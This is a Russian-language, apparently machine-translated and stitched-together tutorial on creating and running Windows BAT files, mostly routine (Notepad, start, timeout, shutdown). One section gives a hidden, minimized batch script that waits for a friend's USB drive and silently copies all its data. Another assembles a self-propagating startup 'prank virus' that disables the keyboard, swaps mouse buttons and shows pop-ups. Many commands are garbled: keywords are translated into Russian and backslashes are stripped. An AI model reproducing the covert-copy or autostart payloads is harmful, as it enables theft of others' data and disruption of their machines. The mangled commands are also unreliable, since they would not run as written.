Как создать BAT файл в Windows 11, 10 для запуска программ

Разное
Содержание
  1. Что такое BAT-файл в Windows 11 или Windows 10
  2. Запуск приложений из bat-файла
  3. Режимы BAT файла
  4. Как создать бат-файл в Виндовс 10
  5. Через Блокнот
  6. С использованием командной строки
  7. Создание BAT файла через Блокнот
  8. Другие способы создания
  9. Создание BAT файла переименованием TXT
  10. Редактирование bat-файлов средствами Windows
  11. Создание батника в Windows 7/10
  12. Первые шаги
  13. Запуск bat-файлов от имени администратора и по расписанию, скрытый запуск bat
  14. Пример бат файла
  15. Настраиваем программу Нотпад и прописываем первую команду
  16. Редактирование созданных BAT-файлов
  17. Пробелы и кавычки в bat-файлах
  18. Первый способ – генерация через текстовый документ
  19. Создание BAT файлов для запуска программ
  20. Как запустить BAT файл в Windows 10?
  21. Часть шестая. Хитрости или шутки в сторону
  22. Шпионские штучки. Похищаем содержимое флешки
  23. Маленький вирус в автозагрузку
  24. Как создать файл с расширением BAT
  25. Основные команды, синтаксис и примеры использования батников
  26. Формат bat чем открыть?
  27. Создание пакетного файла с помощью утилиты «Dr.Batcher»

Что такое BAT-файл в Windows 11 или Windows 10

BAT-файл
Файл BAT (или пакетный файл) — это текстовый документ с расширением «.BAT», в котором хранится список команд, которые должны быть выполнены интерпретатором команд операционной системы. Запуск такого файла позволяет выполнять все сохраненные в нем команды одну за другой. Пакетные файлы используются для запуска программ и автоматизации рутинных или часто повторяющихся задач. С помощью BAT можно, например, организовать регулярную очистку временных папок, создавать резервные копии, редактировать реестр, а также решать другие задачи системного администрирования в Windows 11 и Windows 10.

Поддержка BAT-файлов в операционных системах Microsoft появилась в MS-DOS, где команды выполнялись интерпретатором команд «COMMAND.COM». Этот интерпретатор также присутствовал в операционных системах семейства Windows 9x, но с появлением Windows NT его заменили на «cmd.exe».

интерпретатор cmd.exe сохранил совместимость с COMMAND.COM и получил ряд новых возможностей. В частности, он получил поддержку расширения «.CMD». В результате как старое расширение «.BAT», так и более новое расширение «.CMD» можно использовать для пакетных файлов в современных версиях Windows».

Запуск приложений из bat-файла

В первой части статьи я говорил о BAT-файлах в целом. Теперь стало понятно — что это такое и с чем его едят. Во второй части поговорим о более конкретных вещах. Например, о том, как с помощью BAT-файла запустить несколько приложений с определенными настройками или установить программу автоматически, чтобы не тратить время на ответы типа Согласны ли вы с условиями лицензионного соглашения? и не нажимайте никаких дополнительных кнопок.

Выше было описано несколько способов запуска приложений с помощью BAT-файла. Самая первая — короткая команда для запуска установленной в системе программы.

запустить фаерфокс

Это не всегда работает. Поэтому такая методика может быть полностью применима к конкретной системе, но не подходит в качестве универсального решения. Если цель — заставить BAT-файл работать везде и всегда, используйте полные пути:

запустите C:»Program Files»»Mozilla Firefox»firefox.exe

Я также заметил, что команда для завершения должна присутствовать в BAT-файле:

запустить C:»Program Files»»Mozilla Firefox»firefox.exe выйти

Режимы BAT файла

Хотя пакетный файл по умолчанию выполняет работу автоматически, вы можете настроить его так, чтобы он запрашивал подтверждение при выполнении определенной операции. Например, когда вы вводите команду для отключения службы Windows, BAT-файл спросит вас, уверены ли вы в своем решении. Этот режим называется интерактивным).

Второй режим называется пакетным режимом. Он работает в классическом стиле и самостоятельно выполняет запрограммированные функции.

Режимы пакетного файла:

  • Интерактивный.
    Полуавтоматический режим. Программа может запросить подтверждение операций.
  • Вечеринка.
    Полная автоматизация работы.

Используйте разные режимы в зависимости от ситуации.

Как создать бат-файл в Виндовс 10

Вы можете создать его двумя способами, используя текстовый редактор или командную строку. Рассмотрим каждый из них подробнее.скриншот_4

Через Блокнот

Вы можете создать объект в Windows, используя любой текстовый документ. Использование Блокнота считается наиболее доступным и простым вариантом, актуальным во всех редакциях операционной системы.скриншот_5

Пошаговые инструкции:

  • откройте меню поиска.

скриншот_6

  • Введите поисковик: блокнот или блокнот.

скриншот_7

  • откройте приложение.

скриншот_8

  • Вставьте команду в текстовый редактор, чтобы выполнить запрос.

скриншот_9

  • Выберите вкладку «Файл» вверху».

скриншот_10

  • Нажмите «Сохранить как» в меню».

скриншот_11

  • Выберите место для хранения.

скриншот_12

  • Введите правильное расширение.

скриншот_13

  • В окне Тип файла выберите Все файлы».

скриншот_14

  • Сохранить изменения.

скриншот_15

запуск Блокнота без прав администратора не позволит сохранить объект в системной папке С. Для этого можно сначала сохранить его в другом месте, а затем переместить на нужный диск. Или запустить от имени администратора.скриншот_16

После выполнения всех пунктов бат будет готов к выполнению поставленных задач. После запуска редактора программа автоматически начнет работу. Если в дальнейшем пользователю потребуется внести коррективы в файл, достаточно щелкнуть по нему правой кнопкой мыши, выбрать опцию «Редактировать».скриншот_17

Если не получится, откройте блокнотом.скриншот_18скриншот_19

Затем внесите коррективы и сохраните.

С использованием командной строки

Программное обеспечение поставляется с Windows. Консоль помогает пользователю взаимодействовать с компьютером, вводя команды. Командная строка работает в собственной оболочке, предназначенной для продвинутых пользователей. Если вы не можете создать бат в «десятке» с помощью Блокнота, поможет этот интерфейс. Файлы bat, созданные через командную строку, будут запускаться по тому же пути.скриншот_20

Пошаговые инструкции:

  • Начать поиск.

скриншот_6

  • Введите команду: cmd.

скриншот_21

  • Введите: copy con c:lumpics_ru.bat, где copy con — значение, создающее текстовый документ. Остальное — это адрес, имя и расширение файла.

скриншот_22

  • Введите текст на следующей строке.

При заполнении вручную пользователь может перейти на новую строку, нажав: «Ctrl+Enter». Если пользователь подготовил текст заранее, нажмите ПКМ в окне. Из буфера обмена вся информация автоматически попадет в строки.скриншот_23

  • Сохраните данные, нажав одновременно: «Ctrl + Z».
  • Нажмите Ввод».

скриншот_25

Если все шаги выполнены, в окне появится уведомление.скриншот_24

Чтобы проверить правильность работы, нужно открыть его двойным кликом ЛКМ по названию.

Читайте также: Что такое WiFi роутер: назначение, виды, лучшие производители, выбор вай-фай маршрутизатора для дома и офиса, фото

Создание BAT файла через Блокнот

Самый простой вариант создания BAT-файлов в Windows 11 и Windows 10 — через Блокнот или другой простой текстовый редактор. Например, вы можете использовать Notepad++ или Akelpad.

Для запуска Блокнота можно воспользоваться поиском в меню «Пуск» или нажать комбинацию клавиш Win-R и выполнить команду «Блокнот».

запустить блокнот

После открытия программы «Блокнот» вам необходимо вставить в нее команды для выполнения. Например, давайте введем команду, которая будет выполнять 100 ping-запросов к домену Google.

команды в блокноте

После ввода команд документ необходимо сохранить с расширением BAT. Для этого откройте меню «Файл — Сохранить как» или воспользуйтесь комбинацией клавиш Ctrl-Shift-S.

сохранить команды в блокноте

После этого откроется стандартное окно сохранения документов. Здесь необходимо указать папку для сохранения, выбрать «Тип файла — Все файлы (*.*)» и ввести имя с расширением файла BAT (.bat). Например, вы можете ввести «Ping.bat».

Обратите внимание, что если вы запустили Блокнот без прав администратора, вы не сможете сохранить документ на системный диск (С:). В этом случае его можно сохранить в пользовательскую папку или на другой диск, а затем переместить.

выберите тип файла и имя

После сохранения в выбранной вами папке появится готовый к использованию BAT-файл.

Другие способы создания

На «десятке» можно создавать пакетные файлы, переименовывая обычные текстовые файлы с расширением .txt. Простыми словами, создайте стандартный документ, заполните его текстом и сохраните. После преобразования формата в пакетный изменил расширение на .bat.скриншот_26скриншот_27

Чтобы использовать этот метод в кейсе, необходимо включить отображение параметров. Сделать это можно, перейдя на вкладку «Вид» и нажав кнопку «Параметры».скриншот_33

Вы также можете изменить параметры другим способом:

  • откройте меню поиска.

скриншот_6

  • Введите в строку поиска: «Параметры проводника».

скриншот_29

  • В меню «Параметры папки» перейдите на вкладку «Вид».

скриншот_30

  • Снимите флажок «Скрыть расширения для зарегистрированных типов».

скриншот_31

  • Сохранить изменения.

скриншот_32

После выполнения всех пунктов пользователь сможет сменить расширение. Текстовый файл конвертируется в пакетные баты.

Создание BAT файла переименованием TXT

Также в Windows 11 и Windows 10 вы можете создавать файлы BAT, переименовывая текстовые файлы (с расширением *.txt). Другими словами, вы можете сначала создать обычный текстовый документ с расширением файла .txt, хранить в нем все необходимые команды и только потом превратить его в исполняемый пакетный файл, изменив расширение файла с .txt на .bat.

Для использования этого метода необходимо включить отображение расширений в окне «Параметры папок». В Windows 10 для этого откройте любую папку, перейдите на вкладку «Вид» и нажмите кнопку «Параметры».

кнопка опций

В Windows 11 для этого нужно открыть любую папку, нажать на кнопку с тремя точками и в открывшемся меню выбрать «Настройки».

настройки в виндовс 11

Доступ к параметрам папки также можно получить с помощью меню «Выполнить». Для этого нажмите комбинацию клавиш Win-R и введите команду «control.exe folders».

меню запуска

Какой бы метод вы ни выбрали, перед вами откроется окно «Параметры папок». Здесь нужно перейти на вкладку «Вид» и отключить функцию «Скрыть расширения для зарегистрированных типов».

скрыть функцию расширения

После этого при переименовании можно будет изменить расширение.

переименовать файл

Изменив расширение с TXT на BAT, вы получите исполняемый командный файл.

Редактирование bat-файлов средствами Windows

  1. Щелкаем правой кнопкой мыши по bat-файлу и вызываем контекстное меню.

летучая мышь-8

  1. В появившемся меню выберите «Редактировать» или «Редактировать».
  2. В открытом окне стандартного текстового редактора, обычно блокнота, отобразится содержимое bat-файла.
  3. Вносим необходимые коррективы и сохраняем результат.

Создание батника в Windows 7/10

Простая и доступная инструкция в следующем видео:

В любой операционной системе семейства Windows пакетный файл можно создать в текстовом редакторе. Самое элементарное — использовать встроенный инструмент «Блокнот».

Способ создания bat-файла в Windows 7/10 показан ниже:

  1. откройте «Блокнот» (находится в «Программы» — «Стандартные»). В Windows 10 его можно запустить с помощью поиска, доступного в системном трее. Сама программа находится в папке C:Windowsnotepad.exe.

Как создать bat-файл в Windows 10 и 7: инструкция для чайников

  1. Введите код будущего файла (его можно скопировать из стороннего источника или создать свой). У меня есть команда, чтобы включить точку доступа на ноутбуке.

Как создать bat-файл в Windows 10 и 7: инструкция для чайников

  1. После написания кода остается только открыть меню «Файл» в Блокноте и выбрать «Сохранить как». Вам нужно отобразить папку, в которой будет сохранен скрипт, самостоятельно ввести расширение файла .bat и выбрать «Все файлы» в списке «Тип файла». Вы можете использовать .cmd вместо .bat.

Как создать bat-файл в Windows 10 и 7: инструкция для чайников

  1. Теперь можно нажать «Сохранить».

Если Windows 10 не может сохранить в нужное место (например, в C:) и появляется сообщение об отсутствии разрешения, следует указать каталог документа, а затем перенести файл туда, куда вы хотите. В этой версии системы для записи файлов в некоторые каталоги нужны права администратора, а Блокнот запускается без них.

После этих действий созданный пакетный файл будет готов. Если его открыть, то он автоматически выполнит все указанные в нем команды (главное, чтобы они не содержали ошибок и выполнялись с правами администратора).

Если вам нужно отредактировать скрипт, просто щелкните по нему правой кнопкой мыши и выберите «Редактировать».Как создать bat-файл в Windows 10 и 7: инструкция для чайников

В операционных системах XP или 7 (32-разрядная версия) пакетный файл можно создать, открыв командную строку и введя редактирование. Открывается консольный редактор, где написание кода не отличается от того, что предлагается в Блокноте».

Первые шаги

Для записи достаточно иметь права в системе, позволяющие создавать и сохранять файлы. Когда дело доходит до запуска готовых скриптов, нужно установить разрешение для конкретного пользователя и самой операционной системы на их запуск. Во втором случае операционная система иногда блокирует «пакетные файлы», поскольку исполняемые файлы часто являются вредоносными программами.

Возможно, вам потребуется включить отображение расширений файлов. Как это сделать я расскажу на примере Windows 10:

  • Заходим в «Панель управления»;
  • Выберите раздел «Параметры проводника»;
  • В открывшемся окне перейдите на вкладку «Вид»;
  • Листаем вниз, пока не найдем строчку «Скрыть расширения для известных типов файлов»;
  • Если стоит галочка, снимите ее и нажмите «ОК».

Такие файлы ни в коем случае нельзя запускать из системы, если они были скачаны с неизвестного или подозрительного ресурса. Не добавляйте код, если непонятно, для какой цели он был написан. С помощью пакетных файлов можно назначить шифрование всей информации на ПК, а также переименовать и даже полностью очистить жесткий диск без ведома пользователя.

Запуск bat-файлов от имени администратора и по расписанию, скрытый запуск bat

Теперь вы знаете, как создавать пакетные файлы, и имеете общее представление о языке интерпретатора CMD. Это были основы, теперь пришло время познакомиться с некоторыми полезными функциями для работы с bat-файлами. Известно, что программам требуются права администратора для выполнения определенных действий. Батникам они тоже могут понадобиться. Самый очевидный способ запустить скрипт от имени администратора — щелкнуть по нему правой кнопкой мыши и выбрать соответствующую опцию в контекстном меню.

Кроме того, вы можете гарантировать, что определенный пакетный файл всегда будет запускаться с повышенными привилегиями. Для этого нужно создать обычный ярлык на такой скрипт, открыть его свойства, нажать кнопку «Дополнительно» и в открывшемся окне поставить галочку «Запуск от имени администратора». Этот способ хорош еще и тем, что позволяет выбрать любую иконку для ярлыка, тогда как файл с расширением BAT или CMD всегда будет иметь невзрачный вид.

Скрипты, как и все приложения, можно запланировать для запуска. Команда timeout /t здесь не совсем уместна; для отложенного запуска лучше всего использовать встроенный планировщик заданий Windows. Здесь все просто. Открываем Планировщик командой taskschd.msc, определяем триггер, выбираем действие «Запустить программу» и указываем путь к bat файлу. Все, скрипт запустится в нужное время.

  • pp_image_24195_ucp36rddwtkak-sozdat-bat-fail-16.jpg
  • pp_image_24196_56xvy09ortkak-sozdat-bat-fail-17.jpg
  • pp_image_24197_5hhlvo8lntkak-sozdat-bat-fail-18.jpg
  • pp_image_24198_sxhcsn8c6tkak-sozdat-bat-fail-19.jpg
  • pp_image_24199_q56ciozt5tkak-sozdat-bat-fail-20.jpg
  • pp_image_24195_ucp36rddwtkak-sozdat-bat-fail-16.jpg
  • pp_image_24196_56xvy09ortkak-sozdat-bat-fail-17.jpg
  • pp_image_24197_5hhlvo8lntkak-sozdat-bat-fail-18.jpg
  • pp_image_24198_sxhcsn8c6tkak-sozdat-bat-fail-19.jpg
  • pp_image_24199_q56ciozt5tkak-sozdat-bat-fail-20.jpg

И, наконец, еще один интересный момент. При запуске bat-файла на экране появляется окно командной строки, пусть даже всего на долю секунды. Можно ли заставить скрипт работать в скрытом режиме? Можно, и несколькими способами. Самый простой заключается в следующем. Создаем ярлык к bat файлу, открываем свойства и в меню «Окно» выбираем «Свернуть в иконку». После этого единственным видимым признаком того, что скрипт запущен, будет появление значка CMD на панели задач, но никакие окна открываться не будут.

Если вы хотите полностью скрыть выполнение скрипта, вы можете воспользоваться «костылем» — VBS-скриптом, который будет запускать ваш батник в скрытом режиме. Текст скрипта приведен ниже, сохраните его в файл hidden.vbs, предварительно заменив путь во второй строке кода D:/sсript.bat на путь батника.

Установите WshShell = CreateObject(«WScript.Shell») WshShell.Run chr(34) & «D:script.bat» & Chr(34), 0 Установите WshShell = Ничего

Есть и другие варианты, например, использование инструмента «Скрытый запуск», который позволяет запускать исполняемые и пакетные файлы в скрытом режиме, в том числе без запроса UAC.

И это было все на данный момент. Информацию о создании BAT-скриптов можно легко найти в Интернете. Также рекомендуется ознакомиться с учебным пособием Уильяма Станека «Командная строка Microsoft Windows». Несмотря на то, что с момента выхода книги прошло более десяти лет, информация в ней до сих пор актуальна.Советы по определенным действиям и исправлениям в Windows 10, 8 и Windows 7 часто включают такие шаги, как: «создайте файл .bat со следующим содержимым и запустите его». Однако новичок не всегда знает, как это сделать и что такое файл.

В этой инструкции описано, как создать пакетный файлбат, запустить его, а также некоторая дополнительная информация, которая может оказаться полезной в контексте рассматриваемой темы.

Пример бат файла

Теперь рассмотрим создание bat-файла в Windows 7, 8, который предоставляет информацию о сети, проверяет интернет-соединение и наглядно показывает действие батников. Создайте bat-файл и пропишите эти строки.

ЭХО ВЫКЛ
:: очиститель.
ЭХО Информация о соединении.
:: вывод на экран текста, следующего за служебным словом ECHO.
IPКОНФИГ/ВСЕ
:: выводит информацию обо всех сетевых подключениях.
ПЕРЕРЫВ
:: приостановить выполнение скрипта, чтобы вы могли видеть информацию о сети.
ПИНГ
:: Пинг, проверяет наличие (отсутствие) интернет-соединения
Операция ЭХО завершена. Нажмите Ввод!
:: Вывести на экран слова после ECHO, что означает выполнение PING.
ПЕРЕРЫВ
:: Эта последняя команда предназначена для просмотра сведений о соединении. Если бы этого не было, скрипт батника останавливался и окно закрывалось.

На самом деле примеров bat файлов для обучения, скачать в сети большое количество. Вам просто нужно изучить синтаксис и команды, чтобы создать свой собственный пакетный файл для ваших нужд. Надеюсь, вы поняли, для чего нужны батники и как создать bat-файл в Windows 7.8.

Настраиваем программу Нотпад и прописываем первую команду

Открыв программу, первым делом нужно зайти в «Кодировку», снова выбрать — «Кодировка», затем — «Кириллица», где нужно выбрать именно «OEM866».

Как создать бат файл

Настройка программы Notepad++ — выбор кодировки

Для наглядного примера воспользуемся самой простой командой, представленной на скриншоте. Перепишите его в своем документе.

Самая простая команда

Мы настроили двухшаговый скрипт, где на первом нужно написать приветствие и текст, а на втором отобразить список доступных папок на диске С.

Редактирование созданных BAT-файлов

Чтобы отредактировать уже созданный BAT-файл, откройте его в любом простом текстовом редакторе (например, Notepad, Notepad++ или Akelpad). Чтобы отредактировать BAT с помощью Блокнота, щелкните его правой кнопкой мыши и выберите «Редактировать».

редактировать BAT-файлы

После этого выбранный файл откроется в Блокноте, и вы сможете отредактировать его содержимое.

Пробелы и кавычки в bat-файлах

Цитаты действительно работают, но не так, как обычно рекомендуется. Обычно рекомендуют следующее:

запустите «C:Program FilesSound Clubscw.exe»

Это не сработает, потому что если вы посмотрите справку по нему (начало /?), то увидите в справке следующее:

START «название» /D путь /I /MIN /MAX /SAVE | /ОБЩИЙ /НИЗКИЙ | /НОРМАЛЬНЫЙ | /ВЫСОКИЙ | /РЕАЛЬНОЕ ВРЕМЯ | /НЕНОРМАЛЬНЫЙ | /BELOWNORMAL /NODE NUMA узел /AFFINITY маска привязки /WAIT /B [команда/программа] [параметры]

Как видите, первый параметр — это заголовок окна, и он заключен в кавычки. Этот параметр является необязательным, но его все же рекомендуется указывать (например здесь), чтобы избежать ошибок при выполнении команды. Нельзя ничего писать в кавычках. Это будет так:

start «» «C:Program FilesSound Clubscw.exe»

Также будет работать вариант кавычек всех имен отдельно с пробелами:

запустите C:»Program Files»»Sound Club»scw.exe

Но в некоторых случаях ничего из вышеперечисленного не работает. В таких случаях я могу порекомендовать использовать команду cd. Заходим в системный раздел, далее cd к папке Program Files и запускаем программу (старт):

%SystemDrive%cdProgram FilesSound Club запустить scw.exe

Я думаю, что этот способ будет работать везде. Теперь пара важных моментов. Предположим, вы создали батник, запускающий три программы, и вам нужно временно исключить запуск одной из трех. Это можно сделать, удалив строку или закомментировав ее. Первый способ — вандализм, а второй ниже.

запустить firefox запустить jetaudio rem запустить дефрагментатор

При этом запуск установленной в системе программы Defraggler.exe отключается. Комментируйте строки, добавляя команду rem в начале строки. Все BAT-файлы запускаются в окне консоли. Чтобы он исчезал в конце выполнения команд, не забудьте ввести команду выхода в конце.

запустить firefox запустить jetaudio rem запустить дефрагментироватьrexit

Первый способ – генерация через текстовый документ

Этот метод предполагает создание bat-файла с помощью блокнота. Запустите соответствующую программу: через меню «Пуск» или щелкнув правой кнопкой мыши и выбрав «создать текстовый документ».

Введите в него две команды:

  1. ipconfig /flushdns.
  2. перерыв.

Наведите курсор на опцию «файл», выберите «сохранить как». В появившемся окне нажмите слева, определите местонахождение файлов и напишите название, также укажите нужное расширение через точку — bat. Затем сохраните файл.

Затем вы запускаете его. И результат отобразится в соответствующем окне. Это выглядит так:

  • Как создать bat-файл в Windows 7/10 — отредактировать и сохранить батник

В этой ситуации кеш был очищен в параметрах разрешения DNS-имен. При этом устранены проблемы с отображением интернет-страниц. Вы можете закрыть окно, нажав любую клавишу.

Создание BAT файлов для запуска программ

В файле BAT вы можете использовать все команды, которые можно выполнить с помощью «Командной строки» в Windows 11 или Windows 10. Но файлы BAT также можно использовать для запуска программ и приложений.

Для запуска программ с помощью BAT-файла необходимо использовать команду «старт». Ниже показано, как выглядит формат этой команды.

start «» «имя программы или полный путь»

Например, чтобы запустить браузер Google Chrome, выполните:

запустить «» «хром»

При необходимости вы можете указать полный путь к программе, которую хотите запустить:

запустить «» «C:Program FilesCPUIDCPU-Zcpuz.exe»

Для запуска других пакетных файлов необходимо использовать команду «кольцо». Ниже показано, как выглядит формат этой команды.

вызвать «имя BAT или полный путь»

Например, чтобы запустить пакетный файл «test.bat», расположенный на рабочем столе, выполните:

вызовите «C:UsersstepuDesktoptest.bat»

Как запустить BAT файл в Windows 10?

Основной способ запуска командного файла — двойной щелчок по значку. Однако открыть его можно и другим способом — с помощью командной строки.

Командная строка Windows

Чтобы открыть BAT-файл с помощью командной строки, выполните следующее:

  • откройте каталог, в котором находится пакетный файл.
  • Определите имя файла.
  • откройте командную строку.
  • Введите название документа с расширением.
    Например: HelloWorld.bat

Способ запуска из командной строки становится более ценным по мере роста количества пакетных файлов. Если вы помните имя и расширение нужного документа, вы откроете его, даже если забыли точную директорию.

Часть шестая. Хитрости или шутки в сторону

Здесь мы рассмотрим еще несколько интересных возможностей использования пакетных файлов. Из названия понятно, что часть действий может повредить систему (хотя это можно сделать и «голыми руками»), но если все делать с умом, то может получиться довольно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указано, что команды в пакетных файлах выполняются последовательно, если это не указано в самом исполняемом файле. Рассмотрим этот частный случай. Угу, скажем. Вы знаете, что к вам придет друг (а может и друг) с просьбой произвести какие-то манипуляции с его/ее флешкой, и вам очень хотелось бы слить все данные с этого накопителя на свой ПК. Но делать это на глазах у гостя не очень удобно, да и получить можно только «красную карточку». Что мы делаем в таком случае? Создайте пакетный файл со следующим содержимым

@echo off :проверить, если существует g: необходимо перейти к проверке :go xcopy «G:*.*» «C:oops*.*»

Создаем ярлык на этот bat файл, в свойствах ярлыка указываем, что файл запускается в свернутом состоянии. Дважды щелкните метку. Что у нас есть. :test указывает на начало батника, если он существует g:goto go проверяет наличие диска G: в компьютере, если он есть, то переходит в раздел :go (суть в том, что вставленный флешка обычно получает первую свободную латинскую букву в системе для обозначения алфавита, это не так сложно отследить на вашем компе указываем эту букву вместо G:) надо тестить если диск G: не найден , вернуться к началу : часть test:go указывает на начало второй части пакетного файла xcopy «G:*.*» «C:oops*.*» копирует все содержимое файла G : диск в папку oops на диске C: после того как запускаем файл с ярлыка, он запускается в свернутом состоянии и циклически проверяет наличие флешки в ПК.

Как только там загорится флешка, она начнет копировать с нее все данные в указанную папку, при этом не появится обычное окно копирования файлов, все будет отображаться в свернутом окне терминала. Что ж, все, что было описано выше, пригодится на вашем компьютере, но есть некоторые вкусности, с которыми можно подшутить над другом/любимым….

Маленький вирус в автозагрузку

В общем все будет выглядеть так: отправляем файл человечку любым удобным способом, он запускает его на своем ПК, немного смеемся, а потом рассказываем человечку в чем дело и как можно исправить это. Обычно, если что-то пойдет не так, первое, что обычно делает пользователь, — перезагружает компьютер. Для того, чтобы наш батник продолжал работать после перезагрузки, необходимо добавить его в автозагрузку (подчеркиваю, такие приколы работают только с не самыми опытными пользователями ПК, более опытные скорее всего легко найдут причину системного метаморфоза и легко избавиться от нее). Для этого введите в командный файл следующее

Первая строка добавляет файл в автозагрузку для всех пользователей Windows XP (для конкретного пользователя в качестве пути укажите %USERPROFILE%»Главное меню»ProgramsStartup). Вторая строка добавляет файл в автозагрузку Windows 7.

Начало обеих строк в форме copy %0 означает копирование «себя». Они сделали это. Еще мы хотим, чтобы после запуска батника и при каждой загрузке ПК появлялась забавная надпись, типа «ТЫ ХРОМОЙ!» Для этого добавьте следующее

Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.jse echo WSHShell.Popup(«ТЫ ХРОМОЙ!»); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js

Эта часть основана на сценарии. Подробно расписывать не буду, кому интересно, найдет материал в сети. Скажу лишь, что для некоторых операционных систем внешний вид этого блока может немного отличаться. Так, например, в семерке (Win7) скрипт может выглядеть так

Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.jse echo WSHShell.Popup(«НАПИШИТЕ СЮДА ВСЕ»); >> %temp%mes.jse start %temp%mes.jse deltree /y %temp%mes.jse

Тем не менее, первый вариант будет работать.

Также окно с текстом можно добавить в обход скриптов, то есть стилизовать, окно от текущего пользователя, с указанием текущей даты и времени

msg * «ТЫ ХРОМОЙ!» > ноль

Идем дальше, ближе к угощениям. Чтобы сделать наш объект для экспериментов еще более запутанным, вы можете дополнительно добавить в тело пакетного файла один из следующих элементов:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — эта строка меняет местами кнопки мыши. Очень забавная штука, но если человечек не отличается уравновешенной психикой, советую от этого отказаться. Чтобы изменить обратно кнопки мыши, заходим в панель управления в элементе мыши и там ставим галочку в поле назначение кнопки обмена….

Команда rundll32 keyboard, disabled отключит клавиатуру до следующей перезагрузки, а rundll32 mouse, disabled сделает то же самое с мышью. Если пакетный файл находится в автозагрузке, этот случай, конечно, повторится при перезапуске.

rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет страницу поиска Яндекса в Internet Explorer (конечно, вместо ya.ru можно ввести любой сайт). Если проявить фантазию, можно придать батнику особую пикантность.

Что ж, часть «%SystemRoot%Cursors*.*» >nul удалит указатели мыши (используйте с осторожностью и в самых крайних случаях!)

Теперь осталось только собрать нужные строки в единый код

@echo off chcp 1251 клавиатура rundll32, отключить %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nil copy %0 c:»документы и настройки»»все пользователи»»главное меню»программызагрузочная копия %0 % ПРОФИЛЬ ПОЛЬЗОВАТЕЛЯ% AppDataRoamingMicrosoftWindows»Меню Пуск»ПрограммыАвтозагрузка rundll32 url.dll, FileProtocolHandler https://www.thecleverest.com/countdown.swf Echo var WSHShell = WScript.CreateObject(«WScript.Shell ») ; > %temp%mes.js echo WSHShell.Popup(«ТЫ ХРОМЫЙ!»); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js

Как создать файл с расширением BAT

Итак, как создать bat-файл в Windows 7/10? Очень просто. Для этого вам понадобится любой текстовый редактор и знание основ командной строки. Можно использовать Notepad, а еще лучше Notepad++, так как в последнем есть подсветка синтаксиса. Создайте новый файл в редакторе, выберите «Сохранить как» в меню «Файл», дайте имя будущему скрипту и выберите «Пакетный файл (*bat; *cmd; *nt)» в меню «Тип файла». — по списку)».

  • pp_image_24191_13g5ci0hptkak-sozdat-bat-fail-1.jpg
  • pp_image_24192_95afjy11ltkak-sozdat-bat-fail-2.jpg
  • pp_image_24191_13g5ci0hptkak-sozdat-bat-fail-1.jpg
  • pp_image_24192_95afjy11ltkak-sozdat-bat-fail-2.jpg

Если вы хотите использовать Блокнот для создания .bat-файла, необходимо присвоить расширение вручную, а в списке «Типы файлов» выбрать «Все файлы».

как-создать-bat-fail-3.jpg

Как видите, создать файл с расширением bat несложно, но здесь есть свои тонкости. В пакетных файлах нельзя использовать переносы строк, кодировку bat-файла необходимо установить в UTF-8, если в теле скрипта используется кириллица, кодировку необходимо изменить, вставив команду chcp 1251 в соответствующее место.

Вместо расширения BAT можно использовать CMD, результат запуска скрипта будет точно таким же.

Основные команды, синтаксис и примеры использования батников

Вы знаете, как создать bat-файл, теперь пришло время самого интересного, а именно синтаксиса языка-интерпретатора CMD. Очевидно, что пустой пакетный файл не будет работать, он даже не запустится при двойном щелчке по нему. Чтобы скрипт работал, он должен содержать хотя бы одну команду. Для наглядного примера посмотрим, как написать bat-файл для запуска программ. Допустим, когда вы начинаете работу, вы каждый раз запускаете три программы — Chrome, Firefox и VLC. Давайте упростим задачу, создав скрипт, который будет запускать эти программы даже с пятисекундным интервалом.

откройте пустой командный файл и вставьте следующие команды:

start «» «C:/Program Files/Google/Chrome/Application/chrome.exe» timeout /t 05 start «» «C:/Program Files/Mozilla Firefox/firefox.exe» timeout /t 05 start «» «C :/Program Files/VideoLAN/VLC/vlc.exe»

как-создать-бат-фаил-4

Команда start запускает исполняемый файл нужной программы, а команда timeout /t устанавливает интервал между запусками. Обратите внимание на расположение кавычек — они занимают пути, содержащие пробелы. Также, если в пути есть символы кириллицы, команду chcp 1251, меняющую кодировку, нужно вставить в начало скрипта, иначе интерпретатор не сможет корректно прочитать путь.

как-создать-бат-фаил-5

При запуске скрипта последовательно откроются четыре окна консоли, это нормально, после выполнения команд все они закроются автоматически, но вы можете сделать так, чтобы открывалось только первое окно. Для этого код запуска приложения следует изменить следующим образом:

start /b «» «путь»

как-создать-бат-фаил-6

Также может случиться так, что в какой-то момент потребуется приостановить выполнение скрипта, чтобы пользователь мог сам решить, выполнять все остальные команды или нет. Для этого есть команда паузы. Попробуйте заменить timeout на него и посмотрите, что произойдет.

start /b «» «путь» break

как-создать-бат-фаил-7

Рассмотрим еще один пример команд для bat-файла. Напишем скрипт, который в одном случае выключит компьютер, а в другом перезагрузит. Для этого воспользуемся командой shutdown с параметрами /s, /r и /t. При желании вы можете добавить запрос на выполнение действия в пакетный файл, например:

@echo off chcp 1251 echo «Вы действительно хотите выключить компьютер?» пауза выключение /с /ч 0

как-создать-бат-фаил-8

как-создать-бат-фаил-9

Мы объясняем. Первая команда скрывает текст самих команд, вторая задает кириллическую кодировку, третья выводит сообщение для пользователя, четвертая ставит паузу, пятая отключает и перезагружает с ключом /r вместо /s компьютер без традиционной минутной задержки. Если не хотите церемониться с просьбами и перерывами, можете просто оставить пятый слой.

Если при выполнении команды вы видите трещины вместо русского текста, попробуйте преобразовать файл скрипта в ANSI.

Что еще можно сделать со скриптами? Многие вещи, такие как удаление, копирование или перемещение файлов. Допустим, у вас есть определенная папка данных в корне диска D, содержимое которой необходимо немедленно очистить. Откройте командный файл и вставьте в него следующую команду:

часть /A /F /Q «D:/данные»

как-создать-бат-фаил-10

А можно так:

forfiles /p «D:/data» /s /m *.* /c «cmd /c Del @path»

как-создать-бат-фаил-11

В отличие от первой команды, вторая команда удаляет файлы рекурсивно, то есть удаляются все файлы в папке данных, а также файлы в подкаталогах.

